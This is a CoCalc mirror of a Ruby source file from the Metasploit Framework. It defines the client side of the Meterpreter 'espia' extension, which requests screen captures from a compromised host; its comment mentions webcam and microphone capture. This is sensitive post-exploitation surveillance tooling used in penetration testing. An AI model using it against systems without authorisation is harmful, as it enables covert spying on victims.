CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/extensions/espia/espia.rb
Views: 11791
1
# -*- coding: binary -*-
2
3
require 'rex/post/meterpreter/extensions/espia/tlv'
4
require 'rex/post/meterpreter/extensions/espia/command_ids'
5
6
module Rex
7
module Post
8
module Meterpreter
9
module Extensions
10
module Espia
11
12
###
13
#
14
# This meterpreter extensions interface that is capable
15
# grab webcam frame and recor mic audio
16
#
17
###
18
class Espia < Extension
19
20
def self.extension_id
21
EXTENSION_ID_ESPIA
22
end
23
24
def initialize(client)
25
super(client, 'espia')
26
27
client.register_extension_aliases(
28
[
29
{
30
'name' => 'espia',
31
'ext' => self
32
},
33
])
34
end
35
36
def espia_image_get_dev_screen
37
request = Packet.create_request(COMMAND_ID_ESPIA_IMAGE_GET_DEV_SCREEN)
38
response = client.send_request( request )
39
if response.result == 0
40
response.get_tlv_value(TLV_TYPE_DEV_SCREEN)
41
else
42
nil
43
end
44
end
45
46
end
47
48
end; end; end; end; end
49
50